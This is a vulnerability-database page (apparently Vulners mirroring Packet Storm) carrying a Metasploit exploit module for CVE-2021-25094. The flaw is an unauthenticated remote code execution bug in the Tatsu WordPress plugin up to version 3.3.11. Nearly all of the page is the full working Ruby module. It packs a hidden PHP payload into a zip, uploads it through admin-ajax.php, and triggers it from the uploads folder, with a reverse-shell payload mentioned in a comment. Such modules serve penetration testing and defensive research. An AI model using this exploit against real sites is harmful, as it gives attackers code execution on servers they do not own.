Lucene search
K

๐Ÿ“„ WordPress Tatsu 3.3.11 Remote Code Execution

๐Ÿ—“๏ธย 25 Jun 2025ย 00:00:00Reported byย Vincent Michel, msutovsky-r7Typeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 106ย Views

Exploits CVE-2021-25094 in Tatsu plugin for unauthenticated remote code execution via PHP payload.

Related
Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Payload::Php
      include Msf::Exploit::FileDropper
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HTTP::Wordpress
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Tatsu Wordpress Plugin RCE',
            'Description' => %q{
              This module adds exploit for CVE-2021-25094 - unauthenticated remote code execution in Tatsu Wordpress plugin <= 3.3.11. Module uploads malicious zip with PHP payload that gets executed in second part of exploit.
            },
            'Author' => [
              'Vincent Michel', # Vulnerability discovery
              'msutovsky-r7' # Metasploit module
            ],
            'References' => [
              ['CVE', '2021-25094'],
              ['EDB', '52260']
            ],
            'License' => MSF_LICENSE,
            'Privileged' => false,
            'Platform' => %w[php],
            'Arch' => [ARCH_PHP],
            'Targets' => [
              [
                'PHP',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                  # tested with php/meterpreter/reverse_tcp
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2022-04-25',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
      end
    
      def create_zip
        zip_file = Rex::Zip::Archive.new
        @payload_file = '.' + Rex::Text.rand_text_alphanumeric(12) + '.php'
        zip_file.add_file(@payload_file, payload.encoded)
        zip_file.pack
      end
    
      def upload_malicious_zip
        zip_payload = create_zip
    
        boundary = Rex::Text.rand_text_alphanumeric(32).to_s
    
        data_post = "--#{boundary}\r\n"
        data_post << "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
        data_post << "add_custom_font\r\n"
        data_post << "--#{boundary}\r\n"
    
        data_post << "Content-Disposition: form-data; name=\"file\"; filename=\"#{Rex::Text.rand_text_alphanumeric(12)}.zip\"\r\n\r\n"
        data_post << "#{zip_payload}\r\n"
        data_post << "--#{boundary}--\r\n"
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri('wp-admin/admin-ajax.php'),
          'ctype' => "multipart/form-data; boundary=#{boundary}",
          'data' => data_post
        })
    
        fail_with Failure::Unknown, 'Unexpected response' unless res&.code == 200
        json_content = res.get_json_document
    
        fail_with Failure::PayloadFailed, 'Failed to upload payload' unless json_content.fetch('status', nil) == 'success'
    
        @zip_name = json_content.fetch('name', nil)
    
        fail_with Failure::UnexpectedReply, 'Cannot get uploaded name' unless @zip_name
      end
    
      def trigger_payload
        send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri('/wp-content/uploads/typehub/custom/', @zip_name.downcase + '/', @payload_file)
        })
      end
    
      def check
        return CheckCode::Unknown('Target not responding') unless wordpress_and_online?
    
        wp_version = wordpress_version
        print_status("Detected WordPress version: #{wp_version}") if wp_version
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri('/wp-content/plugins/tatsu/changelog.md')
        })
    
        return CheckCode::Unknown('Could not find tatsu plugin') unless res&.code == 200
    
        changelog_body = res.body
    
        return CheckCode::Safe('Could not find tatsu plugin') if changelog_body.blank?
    
        return CheckCode::Detected('Tatsu plugin detected but it failed to get version') unless changelog_body.match(/v(\d\d?.\d\d?.\d\d?)/)
    
        version = Rex::Version.new(Regexp.last_match(1))
    
        return CheckCode::Appears("Found version #{version}") if version <= Rex::Version.new('3.3.11')
    
        return CheckCode::Safe('Patched version detected')
      end
    
      def exploit
        upload_malicious_zip
        trigger_payload
      end
    
    end

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Jun 2025 00:00Current
8.3High risk
Vulners AI Score8.3
CVSS 26.8
CVSS 3.18.1
EPSS0.83535
106